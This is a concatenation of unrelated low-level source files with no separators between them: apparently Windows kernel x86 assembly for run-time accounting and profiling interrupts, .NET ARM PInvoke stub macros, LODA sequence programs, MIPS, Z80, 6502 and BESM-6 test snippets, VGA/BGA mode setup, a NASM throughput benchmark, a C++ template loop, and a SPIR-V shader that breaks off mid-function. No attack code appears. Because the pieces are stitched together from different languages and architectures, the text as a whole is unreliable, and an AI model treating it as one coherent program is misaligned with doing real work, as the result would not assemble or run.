Kutp4 ; OldIrql<2, then kernel ja short Kutp3 ; OldIrql>2, then interrupt cmp byte ptr PCR[PcPrcbData.PbDpcRoutineActive], 0 jz short Kutp4 ; Executing Dpc?, no then thread time inc dword ptr [eax].PcPrcbData.PbDpcTime if DBG ; ; Check for dpcs which run for too long ; inc dword ptr [eax].PcPrcbData.PbDebugDpcTime mov edx, _KiDPCTimeout cmp dword ptr [eax].PcPrcbData.PbDebugDpcTime, edx jc Kutp50 ; Jump if not over limit ; ; Dpc time has exceeded the allowed quanta ; push offset FLAT:_MsgDpcTimeout ; push message address call _DbgPrint ; print debug message add esp, 1 * 4 ; remove arguments from stack cmp _KdDebuggerEnabled, 0 ; check if debugger enabled je short Kutp6 ; if eq, no debugger, continue stdCall _DbgBreakPoint ; break into debugger Kutp6: mov eax, PCR[PcSelfPcr] ; restore PCR address mov dword ptr [eax].PcPrcbData.PbDebugDpcTime, 0 ; Reset Time endif jmp Kutp50 ALIGN 4 Kutp3: ; ; Update the time spent at interrupt time for this processor ; inc dword ptr [eax].PcPrcbData.PbInterruptTime jmp Kutp50 ALIGN 4 Kutp4: ; ; Update the time spent in kernel mode for the current thread and the current ; thread's process. ; inc dword ptr [ebx]+ThKernelTime jmp Kutp50 ; ; Update total time spent in user mode ; ALIGN 4 Kutp20: inc dword ptr [eax].PcPrcbData.PbUserTime ; ; Update the time spend in user mode for the current thread and the current ; thread's process. ; inc dword ptr [ebx]+ThUserTime ; ; Update the DPC request rate which is computed as the average between ; the previous rate and the current rate. ; ALIGN 4 Kutp50: mov ecx, [eax].PcPrcbData.PbDpcCount ; get current DPC count mov edx, [eax].PcPrcbData.PbDpcLastCount ; get last DPC count mov [eax].PcPrcbData.PbDpcLastCount, ecx ; set last DPC count sub ecx, edx ; compute count during interval add ecx, [eax].PcPrcbData.PbDpcRequestRate ; compute sum shr ecx, 1 ; average current and last mov [eax].PcPrcbData.PbDpcRequestRate, ecx ; set new DPC request rate ; ; If the current DPC queue depth is not zero, a DPC routine is not active, ; and a DPC interrupt has not been requested, then request a dispatch ; interrupt, decrement the maximum DPC queue depth, and reset the threshold ; counter if appropriate. ; cmp dword ptr [eax].PcPrcbData.PbDpcQueueDepth, 0 ; check queue depth je short Kutp53 ; if eq, DPC queue depth is zero cmp byte ptr [eax].PcPrcbData.PbDpcRoutineActive, 0 ; check if DPC active jne short Kutp53 ; if ne, DPC routine active cmp byte ptr [eax].PcPrcbData.PbDpcInterruptRequested, 0 ; check if interrupt jne short Kutp53 ; if ne, DPC routine active mov ecx, DISPATCH_LEVEL ; request a dispatch interrupt fstCall HalRequestSoftwareInterrupt ; mov eax, PCR[PcSelfPcr] ; restore address of current PCR mov ecx, [eax].PcPrcbData.PbDpcRequestRate ; get DPC request rate mov edx, _KiAdjustDpcThreshold ; reset initial threshold counter mov [eax].PcPrcbData.PbAdjustDpcThreshold, edx ; cmp ecx, _KiIdealDpcRate ; test if current rate less than ideal jge short Kutp55 ; if ge, rate greater or equal ideal cmp [eax].PcPrcbData.PbMaximumDpcQueueDepth, 1 ; check if depth one je short Kutp55 ; if eq, maximum depth is one dec dword ptr [eax].PcPrcbData.PbMaximumDpcQueueDepth ; decrement depth jmp short Kutp55 ; ; ; The DPC queue is empty or a DPC routine is active or a DPC interrupt ; has been requested. Count down the adjustment threshold and if the ; count reaches zero, then increment the maximum DPC queue depth, but ; no above the initial value and reset the adjustment threshold value. ; Kutp53: dec dword ptr [eax].PcPrcbData.PbAdjustDpcThreshold ; decrement threshold jnz short Kutp55 ; if nz, threshold not zero mov ecx, _KiAdjustDpcThreshold ; reset initial threshold counter mov [eax].PcprcbData.PbAdjustDpcThreshold, ecx ; mov ecx, _KiMaximumDpcQueueDepth ; get maximum DPC queue depth cmp ecx, [eax].PcPrcbData.PbMaximumDpcQueueDepth ; check depth je short Kutp55 ; if eq, already a maximum level inc dword ptr [eax].PcPrcbData.PbMaximumDpcQueueDepth ; increment maximum depth ; ; Decrement current thread quantum and check to determine if a quantum end ; has occurred. ; ALIGN 4 Kutp55: sub byte ptr [ebx]+ThQuantum, CLOCK_QUANTUM_DECREMENT ; decrement quantum jg Kutp75 ; if > 0, time remaining on quantum ; ; Set quantum end flag and initiate a dispatcher interrupt on the current ; processor. ; cmp ebx,[eax].PcPrcbData.PbIdleThread ; check if idle thread jz Kutp75 ; if z, then idle thread mov byte ptr [eax].PcPrcbData.PbQuantumEnd, 1 ; set quantum end indicator mov ecx, DISPATCH_LEVEL ; request dispatch interrupt fstCall HalRequestSoftwareInterrupt ; Kutp75: ; pop ebx ; stdRET _KeUpdateRunTime ; if DBG kutp_skiptick: mov byte ptr [eax]+PcPrcbData+PbSkipTick, 0 stdRET _KeUpdateRunTime endif stdENDP _KeUpdateRunTime ;++ ; ; PROFILING SUPPORT ; ;-- ;++ ; ; VOID ; KeProfileInterrupt ( ; IN PKTRAP_FRAME TrapFrame, ; ) ; ; Routine Description: ; ; This procedure is the ISR for the profile sampling interrupt, ; which for x86 machines is driven off the 8254 timer1 channel 0. ; ; The procedure scans the list of profile objects, looking for those ; which match the address space and return program counter captured ; at entry. For each object that does match, the counter in its ; profile buffer matching the bucket the PC falls into is computed, ; and that counter is incremented. ; ; N.B. This routine is executed on all processors in a multiprocess ; system. ; ; Arguments: ; ; Return Address (esp) ; ; TrapFrame (esp+4) - supplies pointer to profile trap frame ; ; Environment: ; ; IRQL = KiProfileIrql ; ; ; Return Value: ; ; None. ; ; WARNING: Uses ALL registers ; ;-- cPublicProc _KeProfileInterrupt ,1 ; ; rearrange arguments to pass a source of 0 to KeProfileInterruptWithSource ; pop eax ; return code in eax pop ebx ; trap frame in ebx push 0 ; push source of 0 (ProfileTime) push ebx ; push trap frame push eax ; push return address jmp short _KeProfileInterruptWithSource@8 stdENDP _KeProfileInterrupt ;++ ; ; VOID ; KeProfileInterruptWithSource ( ; IN PKTRAP_FRAME TrapFrame, ; IN KPROFILE_SOURCE ProfileSource ; ) ; ; Routine Description: ; ; This procedure is the ISR for the multiple-source profile interrupt. ; ; Since no x86 HAL currently implements any source other than the ; clock interrupt, this routine is just a stub that calls KeProfileInterrupt ; ; Arguments: ; ; Return Address (esp) ; ; TrapFrame (esp+4) - supplies pointer to profile trap frame ; ; ProfileSource (esp+8) - supplies source of profile interrupt ; ; Environment: ; ; IRQL = KiProfileIrql ; ; ; Return Value: ; ; None. ; ; WARNING: Uses ALL registers ; ;-- cPublicProc _KeProfileInterruptWithSource,2 kipieip equ <dword ptr [ebp+TsEip]> kipsegcs equ <word ptr [ebp+TsSegCs]> kipeflags equ <dword ptr [ebp+TsEFlags]> mov ebp, dword ptr [esp+4] ; (ebp)-> trap frame inc dword ptr PCR[PcPrcbData+PbInterruptCount] cmp _PPerfGlobalGroupMask, 0 ; check if event tracing is on je short kipi03 ;; add profile interrupt to perfinfo mov ecx, [esp+8] mov edx,kipieip fstCall PerfProfileInterrupt mov ebp, dword ptr [esp+4] ; (ebp)-> trap frame ; ; Reset EIP if it is found to be within the kernel interlocked pop entry slist ; code. Otherwise profile objects (queued by the user) could be used to corrupt ; a kernel slist. ; kipi03: cmp kipieip, offset FLAT:_ExpInterlockedPopEntrySListResume@0 jb kipi04 cmp kipieip, offset FLAT:_ExpInterlockedPopEntrySListEnd@0 ja kipi04 mov ecx, ebp fstCall KiCheckForSListAddress kipi04: ifndef NT_UP lea eax,_KiProfileLock kipi05: ACQUIRE_SPINLOCK eax,kipi96 endif ; ; Update profile data ; ; NOTE: ; System and Process update loops are duplicates, to avoid overhead ; of call instruction in what could be very high freq. interrupt. ; be sure to update both loops for changes. ; ; NOTE: ; The process loop contains code to update segment profile objects. ; This code is not present in the system loop, because we do not ; allow attachment of profile objects for non-flat segments on a ; system wide basis. ; ; NOTE: ; Profiling in V86 mode is handled by converting the CS:IP value to ; a linear address (CS<<4 + IP) ; inc ProfileCount ; total number of hits ; ; Update system profile entries ; mov ebx, kipieip mov edx,offset FLAT:_KiProfileListHead mov esi,[edx].LsFlink ; (esi) -> profile object ifndef NT_UP mov edi, PCR[PcSetMember] ; (edi) = current processor endif mov ecx, [esp+8] ; (cx) = profile source cmp esi,edx je kipi30 ; end of system list, go do process ; ; (ebx) = sample program counter ; (esi) -> profile object ; ALIGN 4 kipi10: cmp ebx,[esi+PfRangeBase-PfProfileListEntry] ; >= base? jb kipi20 ; no, skip entry cmp ebx,[esi+PfRangeLimit-PfProfileListEntry] ; < limit? jae kipi20 ; no, skip entry cmp cx,word ptr [esi+PfSource-PfProfileListEntry] ; == source? jne kipi20 ; no, skip entry ifndef NT_UP test edi,[esi+PfAffinity-PfProfileListEntry] ; affinity match? jz kipi20 ; no, skip entry endif ; ; RangeBase <= program counter < RangeLimit, we have a hit ; sub ebx,[esi+PfRangeBase-PfProfileListEntry] ; (ebx) = offset in profile range mov cl,[esi+PfBucketShift-PfProfileListEntry] shr ebx,cl and ebx,NOT 3 ; (ebx) = offset of counter for bucket mov edi,[esi+PfBuffer-PfProfileListEntry] ; (edi) -> buffer inc dword ptr [edi+ebx] ; record hit mov ebx, kipieip ; (ebx) = sample pc mov ecx, [esp+8] ; (cx) = profile source ifndef NT_UP mov edi, PCR[PcSetMember] ; (edi) = current processor endif ; ; Go to next entry ; ALIGN 4 kipi20: mov esi,[esi].LsFlink ; (esi) -> profile object cmp esi,edx jne kipi10 ; not end of list, repeat ; ; Update process profile entries ; (ebx) = sample program counter ; ALIGN 4 kipi30: mov eax,PCR[PcPrcbData+PbCurrentThread] ; (eax)-> current thread mov eax,ThApcState+AsProcess[eax] ; (eax)-> current process lea edx,[eax]+PrProfileListHead ; (edx)-> listhead mov esi,[edx].LsFlink ; (esi)-> profile object cmp esi,edx je kipi60 ; process list end, return ; ; Check for 16 bitness ; movzx ecx,word ptr kipsegcs test kipeflags,EFLAGS_V86_MASK jnz kipi100 ; convert cs:ip to linear cmp cx,KGDT_R0_CODE je short kipi40 cmp cx,KGDT_R3_CODE or RPL_MASK jne kipi110 ; ; (ebx) = sample program counter ; (esi) -> profile object ; ALIGN 4 kipi40: cmp [esi+PfSegment-PfProfileListEntry],word ptr 0 ; flat object? jne kipi50 ; no, skip entry cmp ebx,[esi+PfRangeBase-PfProfileListEntry] ; >= base? jb kipi50 ; no, skip entry cmp ebx,[esi+PfRangeLimit-PfProfileListEntry] ; < limit? jae kipi50 ; no, skip entry mov ecx, [esp+8] ; (cx) = profile source cmp cx,word ptr [esi+PfSource-PfProfileListEntry] ; == source? jne kipi50 ; no, skip entry ifndef NT_UP mov edi,PCR[PcSetMember] ; (edi) = set member test edi,[esi+PfAffinity-PfProfileListEntry] ; affinity match? jz kipi50 ; no, skip entry endif ; ; RangeBase <= program counter < RangeLimit, we have a hit ; sub ebx,[esi+PfRangeBase-PfProfileListEntry] ; (ebx) = offset in profile range mov cl,[esi+PfBucketShift-PfProfileListEntry] shr ebx,cl and ebx,NOT 3 ; (ebx) = offset of counter for bucket mov edi,[esi+PfBuffer-PfProfileListEntry] ; (edi) -> buffer inc dword ptr [edi+ebx] ; record hit mov ebx, kipieip ; (ebx) = sample pc mov ecx, [esp+8] ; (cx) = profile source ; ; Go to next entry ; ALIGN 4 kipi50: mov esi,[esi].LsFlink ; (esi) -> profile object cmp esi,edx jne kipi40 ; not end of list, repeat ALIGN 4 kipi60: ifndef NT_UP lea eax,_KiProfileLock RELEASE_SPINLOCK eax endif stdRet _KeProfileInterruptWithSource ifndef NT_UP ALIGN 4 kipi96: SPIN_ON_SPINLOCK eax,kipi05,,DbgMp endif ALIGN 4 kipi100: shl ecx,4 ; segment -> paragraph add ebx,ecx ; paragraph offset -> linear jmp kipi40 ; ; Update segment profile objects ; ; ; (ebx) = sample program counter ; (esi) -> profile object ; ALIGN 4 kipi110: cmp [esi+PfSegment-PfProfileListEntry],ecx ; This segment? jne kipi120 ; no, skip entry cmp ebx,[esi+PfRangeBase-PfProfileListEntry] ; >= base? jb kipi120 ; no, skip entry cmp ebx,[esi+PfRangeLimit-PfProfileListEntry] ; < limit? jae kipi120 ; no, skip entry mov ecx, [esp+8] ; (cx) = profile source cmp cx,word ptr [esi+PfSource-PfProfileListEntry] ; == source? jne kipi120 ; no, skip entry ifndef NT_UP mov edi,PCR[PcSetMember] ; (edi) = set member test edi,[esi+PfAffinity-PfProfileListEntry] ; affinity match? jnz kipi120 ; no, skip entry endif ; ; RangeBase <= program counter < RangeLimit, we have a hit ; sub ebx,[esi+PfRangeBase-PfProfileListEntry] ; (ebx) = offset in profile range mov cl,[esi+PfBucketShift-PfProfileListEntry] shr ebx,cl and ebx,NOT 3 ; (ebx) = offset of counter for bucket mov edi,[esi+PfBuffer-PfProfileListEntry] ; (edi) -> buffer inc dword ptr [edi+ebx] ; record hit mov ebx, kipieip ; (ebx) = sample pc mov cx,kipsegcs ; ecx = sample cs ; ; Go to next entry ; ALIGN 4 kipi120: mov esi,[esi].LsFlink ; (esi) -> profile object cmp esi,edx jne kipi110 ; not end of list, repeat jmp kipi60 stdENDP _KeProfileInterruptWithSource _TEXT$00 ends end
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ;; ==++== ;; ;; ;; ==--== #include "ksarm.h" #include "asmconstants.h" #include "asmmacros.h" IMPORT VarargPInvokeStubWorker IMPORT GenericPInvokeCalliStubWorker ; ------------------------------------------------------------------ ; Macro to generate PInvoke Stubs. ; $__PInvokeStubFuncName : function which calls the actual stub obtained from VASigCookie ; $__PInvokeGenStubFuncName : function which generates the IL stubs for PInvoke ; ; Params :- ; $FuncPrefix : prefix of the function name for the stub ; Eg. VarargPinvoke, GenericPInvokeCalli ; $VASigCookieReg : register which contains the VASigCookie ; $SaveFPArgs : "Yes" or "No" . For varidic functions FP Args are not present in FP regs ; So need not save FP Args registers for vararg Pinvoke MACRO PINVOKE_STUB $FuncPrefix,$VASigCookieReg,$SaveFPArgs GBLS __PInvokeStubFuncName GBLS __PInvokeGenStubFuncName GBLS __PInvokeStubWorkerName IF "$FuncPrefix" == "GenericPInvokeCalli" __PInvokeStubFuncName SETS "$FuncPrefix":CC:"Helper" ELSE __PInvokeStubFuncName SETS "$FuncPrefix":CC:"Stub" ENDIF __PInvokeGenStubFuncName SETS "$FuncPrefix":CC:"GenILStub" __PInvokeStubWorkerName SETS "$FuncPrefix":CC:"StubWorker" IF "$VASigCookieReg" == "r1" __PInvokeStubFuncName SETS "$__PInvokeStubFuncName":CC:"_RetBuffArg" __PInvokeGenStubFuncName SETS "$__PInvokeGenStubFuncName":CC:"_RetBuffArg" ENDIF NESTED_ENTRY $__PInvokeStubFuncName ; save reg value before using the reg PROLOG_PUSH {$VASigCookieReg} ; get the stub ldr $VASigCookieReg, [$VASigCookieReg,#VASigCookie__pNDirectILStub] ; if null goto stub generation cbz $VASigCookieReg, %0 EPILOG_STACK_FREE 4 EPILOG_BRANCH_REG $VASigCookieReg 0 EPILOG_POP {$VASigCookieReg} EPILOG_BRANCH $__PInvokeGenStubFuncName NESTED_END NESTED_ENTRY $__PInvokeGenStubFuncName PROLOG_WITH_TRANSITION_BLOCK 0, $SaveFPArgs ; r2 = UnmanagedTarget\ MethodDesc mov r2, r12 ; r1 = VaSigCookie IF "$VASigCookieReg" != "r1" mov r1, $VASigCookieReg ENDIF ; r0 = pTransitionBlock add r0, sp, #__PWTB_TransitionBlock ; save hidden arg mov r4, r12 bl $__PInvokeStubWorkerName ; restore hidden arg (method desc or unmanaged target) mov r12, r4 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH $__PInvokeStubFuncName NESTED_END MEND TEXTAREA ; ------------------------------------------------------------------ ; VarargPInvokeStub & VarargPInvokeGenILStub ; There is a separate stub when the method has a hidden return buffer arg. ; ; in: ; r0 = VASigCookie* ; r12 = MethodDesc * ; PINVOKE_STUB VarargPInvoke, r0, {false} ; ------------------------------------------------------------------ ; GenericPInvokeCalliHelper & GenericPInvokeCalliGenILStub ; Helper for generic pinvoke calli instruction ; ; in: ; r4 = VASigCookie* ; r12 = Unmanaged target ; PINVOKE_STUB GenericPInvokeCalli, r4, {true} ; ------------------------------------------------------------------ ; VarargPInvokeStub_RetBuffArg & VarargPInvokeGenILStub_RetBuffArg ; Vararg PInvoke Stub when the method has a hidden return buffer arg ; ; in: ; r1 = VASigCookie* ; r12 = MethodDesc* ; PINVOKE_STUB VarargPInvoke, r1, {false} ; Must be at very end of file END
lda {c2} sta ({z1}),y iny lda {c2}+1 sta ({z1}),y
#include <iostream> template <typename T, T v> struct IntegralCompiler { static const T value = v; }; template <int result, int n> struct SumLoop { static const bool cond_value = n != 0; static const int res_value = result; typedef IntegralCompiler<int, res_value> res_type; typedef SumLoop<res_value + n, n - 1> next_type; }; template <int n> struct SumBody { typedef SumLoop<0, n> type; }; template <bool cond_value, typename Body> struct WhileLoop; template <typename Body> struct WhileLoop<true, Body> { typedef typename WhileLoop<Body::cond_value, typename Body::next_type>::type type; }; template <typename Body> struct WhileLoop<false, Body> { typedef typename Body::res_type type; }; template <typename Body> struct While { typedef typename WhileLoop<Body::cond_value, Body>::type type; }; int main() { std::cout << While<SumBody<10>::type>::type::value << std::endl; }
; A256832: Product of first n Pell numbers Pell(1), ... , Pell(n). ; Submitted by Jamie Morken(s1) ; 1,2,10,120,3480,243600,41168400,16796707200,16544756592000,39343431175776000,225870638380130016000,3130567047948602021760000,104751903991408172250111360000,8462068308233934970708495883520000,1650314871813323167662424409683488000000 mov $1,1 mov $2,1 mov $3,1 lpb $0 sub $0,1 add $3,$2 add $4,$3 mul $1,$4 mov $3,$2 mov $2,$4 lpe mov $0,$1
#ifndef SEARCH_A_2D_MATRIX_II_HPP_ #define SEARCH_A_2D_MATRIX_II_HPP_ #include <vector> using namespace std; class SearchA2DMatrixII { public: bool searchMatrix(vector<vector<int>> &matrix, int target); }; #endif // SEARCH_A_2D_MATRIX_II_HPP_
SECTION code_clib SECTION code_l_sdcc PUBLIC ____sdcc_4_and_src_dehl_dst_bcix ____sdcc_4_and_src_dehl_dst_bcix: IFDEF __SDCC_IX push ix ELSE push iy ENDIF ex (sp),hl add hl,bc ld c,l ld b,h pop hl ld a,(bc) and l ld (bc),a inc bc ld a,(bc) and h ld (bc),a inc bc ld a,(bc) and e ld (bc),a inc bc ld a,(bc) and d ld (bc),a ret
addi $t0, $zero, 50 jal kappa addi $t5, $zero, 30 addi $t5, $zero, 30 addi $t5, $zero, 30 addi $t5, $zero, 30 keepo: addi $t1, $zero, 2 mul $t0, $t0, $t1 #t0 vira 200 jr $ra addi $t5, $zero, 30 addi $t5, $zero, 30 addi $t5, $zero, 30 addi $t5, $zero, 30 kappa: addi $t0, $t0, 50 #esperado 100 jal keepo add $t0, $t0, $t0 #t0 vira 400 add $t0, $t0, $t0 #t0 vira 800 add $t0, $t0, $t0 #t0 vira 1600 add $t0, $t0, $t0 #t0 vira 3200
# # Test for instruction А/Х. # org 1 ptr start vtm stack,15 ntr 3 xta e60 # 6.0 div e30 # 3.0 aex e20 # 2.0 uia fail # lbl pass stop 0o12345,6 lbl fail stop 0o76543,2 #------------------------- dorg 0o2000 arr e60 0o4154000000000000 # 6.0 arr e30 0o4114000000000000 # 3.0 arr e20 0o4110000000000000 # 2.0 mem stack 10 # стек
[ BITS 32 ] InitVGAH: ; NAME='Init_VGA_' mov dx, 0x3DA in al, dx .3C4: mov dx, 0x3C4 mov al, 1 out dx, al inc dx in al, dx or al, 00100000b ; Disabling screen. out dx, al dec dx mov al, 0 out dx, al inc dx in al, dx or al, 00000001b ; Activating "Sychnronous Reset". out dx, al dec dx mov al, 3 out dx, al inc dx in al, dx and al, 11000000b ; Carefully clearing "Character Map Select Register". out dx, al dec dx mov al, 4 out dx, al inc dx in al, dx or al, 00000010b ; Enabling buffer sizes of 64KB and 256KB. and al, 11110011b ; Disabling "Chain4" and "Even/Odd Memory Addressing". out dx, al .3C2: mov dx, 0x3CC in al, dx mov dx, 0x3C2 or al, 11100011b ; Setting HSync and VSync polarities to negative, high page, enabling RAM buffer. out dx, al .3C0: mov dx, 0x3C0 mov al, 0x30 out dx, al inc dx in al, dx dec dx and al, 00010000b ; or al, 00000001b push ax mov al, 0x30 out dx, al pop ax out dx, al mov al, 0x31 out dx, al mov al, 0 out dx, al mov al, 0x32 out dx, al inc dx in al, dx dec dx or al, 00001111b push ax mov al, 0x32 out dx, al pop ax out dx, al mov al, 0x33 out dx, al inc dx in al, dx dec dx and al, 11110000b push ax mov al, 0x33 out dx, al pop ax out dx, al mov al, 0x34 out dx, al inc dx in al, dx dec dx and al, 11110000b push ax mov al, 0x34 out dx, al pop ax out dx, al .3CE: mov dx, 0x3CE mov al, 5 out dx, al inc dx in al, dx and al, 10000100b push ax mov al, 5 out dx, al pop ax out dx, al dec dx mov al, 6 out dx, al inc dx in al, dx and al, 11110000b or al, 00000101b push ax mov al, 6 out dx, al pop ax out dx, al .3D4: mov dx, 0x3D4 mov al, 0x11 out dx, al inc dx in al, dx and al, 01111111b out dx, al dec dx mov al, 0 out dx, al inc dx mov al, 0x5F out dx, al dec dx mov al, 1 out dx, al inc dx mov al, 0x4F out dx, al dec dx mov al, 2 out dx, al inc dx mov al, 0x50 out dx, al dec dx mov al, 3 out dx, al inc dx mov al, 0x82 out dx, al dec dx mov al, 4 out dx, al inc dx mov al, 0x54 out dx, al dec dx mov al, 5 out dx, al inc dx mov al, 0x80 out dx, al dec dx mov al, 6 out dx, al inc dx mov al, 0x0B out dx, al dec dx mov al, 7 out dx, al inc dx mov al, 0x3E out dx, al dec dx mov al, 8 out dx, al inc dx mov al, 0x00 out dx, al dec dx mov al, 9 out dx, al inc dx mov al, 0x40 out dx, al dec dx mov al, 0x10 out dx, al inc dx mov al, 0xEA out dx, al dec dx mov al, 0x11 out dx, al inc dx mov al, 0x0C out dx, al dec dx mov al, 0x12 out dx, al inc dx mov al, 0xDF out dx, al dec dx mov al, 0x13 out dx, al inc dx mov al, 0x28 out dx, al dec dx mov al, 0x14 out dx, al inc dx mov al, 0x0 out dx, al dec dx mov al, 0x15 out dx, al inc dx mov al, 0xE7 out dx, al dec dx mov al, 0x16 out dx, al inc dx mov al, 0x04 out dx, al dec dx mov al, 0x17 out dx, al inc dx mov al, 0xE3 out dx, al .ScreenEnable: mov dx, 0x3C4 mov al, 1 out dx, al inc dx in al, dx and al, 11011111b out dx, al iret InitBGA: mov ax, 0x4 mov dx, 0x01CE out dx, ax ;0x1CE xor ax, ax ; Screen disable inc dx out dx, ax ;0x1CF mov ax, 0x1 dec dx out dx, ax ;0x1CE mov ax, 720 ; X inc dx out dx, ax ;0x1CF mov ax, 0x2 dec dx out dx, ax ;0x1CE mov ax, 400 ; Y inc dx out dx, ax ;0x1CF mov ax, 0x3 dec dx out dx, ax ;0x1CE mov ax, 32 ; BPP inc dx out dx, ax ;0x1CF mov ax, 0x4 dec dx out dx, ax ;0x1CE mov ax, 0x41 ; Linear famebuffer and screen enable inc dx out dx, ax ;0x1CF iret
; A070337: a(n) = 2^n mod 27. ; 1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17,7,14,1,2,4,8,16,5,10,20,13,26,25,23,19,11,22,17 mov $1,1 mov $2,$0 lpb $2,1 mul $1,2 mod $1,27 sub $2,1 lpe
#ruledef test { ld {x} => 0x55 @ x[7:0] } ld 0 ; = 0x5500
.data .text addi $t0, $t0, 2000 addi $s0, $s0, 16 slti $t1, $t0, -1 sltiu $t2, $t0, -1 andi $t3, $t0, 20 ori $t4, $s0, 8 xori $t5, $s0, 8 # Termino do programa li $v0, 10 # Codigo para terminar o programa = 10 syscall
; nasm -f elf64 port_1_throughput_bottleneck.asm ; gcc port_1_throughput_bottleneck.o GLOBAL main main: xor rax,rax push rax push rbx push rcx push rdi ; set number of iterations mov rdi, 1000 ; allocate array on the stack sub rsp, 64 ; uncomment for running under IACA ; mov ebx, 111 ; Start marker bytes ; db 0x64, 0x67, 0x90 ; Start marker bytes .loop: mov eax, DWORD [rsp] mov eax, DWORD [rsp + 4] bswap ebx bswap ecx mov eax, DWORD [rsp + 8] mov eax, DWORD [rsp + 12] bswap ebx bswap ecx mov eax, DWORD [rsp + 16] mov eax, DWORD [rsp + 20] bswap ebx bswap ecx mov eax, DWORD [rsp + 24] mov eax, DWORD [rsp + 28] bswap ebx bswap ecx mov eax, DWORD [rsp + 32] mov eax, DWORD [rsp + 36] bswap ebx bswap ecx mov eax, DWORD [rsp + 40] mov eax, DWORD [rsp + 44] bswap ebx bswap ecx mov eax, DWORD [rsp + 48] mov eax, DWORD [rsp + 52] bswap ebx bswap ecx mov eax, DWORD [rsp + 56] mov eax, DWORD [rsp + 60] bswap ebx bswap ecx dec rdi jnz .loop ; uncomment for running under IACA ; mov ebx, 222 ; End marker bytes ; db 0x64, 0x67, 0x90 ; End marker bytes add rsp, 64 pop rdi pop rcx pop rbx pop rax ret ud2
; Initialize the stack pointer MOV XL, 0xFF MOV XH, 0xFF MOV SP, X MOV F, 1 MOV G, 00010000b ; Call a subroutine... CALL :SUBROUTINE ; Do something else after the recursive function call... INC G ; Write register G to the Output Port OUTB G ; Stops program execution HLT :SUBROUTINE INC F CMP F, G JZ :SUBROUTINE_RETURN ; Recursive call... CALL :SUBROUTINE :SUBROUTINE_RETURN RET
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 174 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %118 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %6 "func(" OpName %10 "_GLF_global_loop_count" OpName %16 "arr" OpName %20 "b" OpName %23 "buf0" OpMemberName %23 0 "_GLF_uniform_int_values" OpName %25 "" OpName %29 "i" OpName %48 "c" OpName %51 "j" OpName %89 "a" OpName %91 "i" OpName %118 "_GLF_color" OpName %133 "ref" OpName %146 "i" OpDecorate %22 ArrayStride 16 OpMemberDecorate %23 0 Offset 0 OpDecorate %23 Block OpDecorate %25 DescriptorSet 0 OpDecorate %25 Binding 0 OpDecorate %118 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %8 = OpTypeInt 32 1 %9 = OpTypePointer Private %8 %10 = OpVariable %9 Private %11 = OpConstant %8 0 %12 = OpTypeInt 32 0 %13 = OpConstant %12 5 %14 = OpTypeArray %8 %13 %15 = OpTypePointer Private %14 %16 = OpVariable %15 Private %17 = OpConstant %8 1 %18 = OpConstantComposite %14 %17 %17 %17 %17 %17 %19 = OpTypePointer Function %8 %21 = OpConstant %12 4 %22 = OpTypeArray %8 %21 %23 = OpTypeStruct %22 %24 = OpTypePointer Uniform %23 %25 = OpVariable %24 Uniform %26 = OpTypePointer Uniform %8 %36 = OpConstant %8 10 %37 = OpTypeBool %43 = OpConstant %8 2 %90 = OpConstant %8 5 %98 = OpConstant %8 4 %107 = OpConstant %8 7 %115 = OpTypeFloat 32 %116 = OpTypeVector %115 4 %117 = OpTypePointer Output %116 %118 = OpVariable %117 Output %132 = OpTypePointer Function %14 %155 = OpConstant %8 3 %4 = OpFunction %2 None %3 %5 = OpLabel %89 = OpVariable %19 Function %91 = OpVariable %19 Function %133 = OpVariable %132 Function %146 = OpVariable %19 Function OpStore %10 %11 OpStore %16 %18 %79 = OpFunctionCall %2 %6 OpBranch %80 %80 = OpLabel OpLoopMerge %82 %83 None OpBranch %84 %84 = OpLabel %85 = OpLoad %8 %10 %86 = OpSLessThan %37 %85 %36 OpBranchConditional %86 %81 %82 %81 = OpLabel %87 = OpLoad %8 %10 %88 = OpIAdd %8 %87 %17 OpStore %10 %88 OpStore %89 %90 OpStore %91 %17 OpBranch %92 %92 = OpLabel OpLoopMerge %94 %95 None OpBranch %96 %96 = OpLabel %97 = OpLoad %8 %91 %99 = OpSLessThan %37 %97 %98 %100 = OpLoad %8 %10 %101 = OpSLessThan %37 %100 %36 %102 = OpLogicalAnd %37 %99 %101 OpBranchConditional %102 %93 %94 %93 = OpLabel %103 = OpLoad %8 %10 %104 = OpIAdd %8 %103 %17 OpStore %10 %104 %105 = OpLoad %8 %89 %106 = OpIAdd %8 %105 %17 OpStore %89 %106 %108 = OpSGreaterThan %37 %105 %107 OpSelectionMerge %110 None OpBranchConditional %108 %109 %110 %109 = OpLabel %111 = OpFunctionCall %2 %6 OpBranch %94 %110 = OpLabel OpBranch %95 %95 = OpLabel %113 = OpLoad %8 %91 %114 = OpIAdd %8 %113 %17 OpStore %91 %114 OpBranch %92 %94 = OpLabel OpBranch %83 %83 = OpLabel OpBranch %80 %82 = OpLabel %119 = OpAccessChain %26 %25 %11 %11 %120 = OpLoad %8 %119 %121 = OpConvertSToF %115 %120 %122 = OpAccessChain %26 %25 %11 %17 %123 = OpLoad %8 %122 %124 = OpConvertSToF %115 %123 %125 = OpAccessChain %26 %25 %11 %17 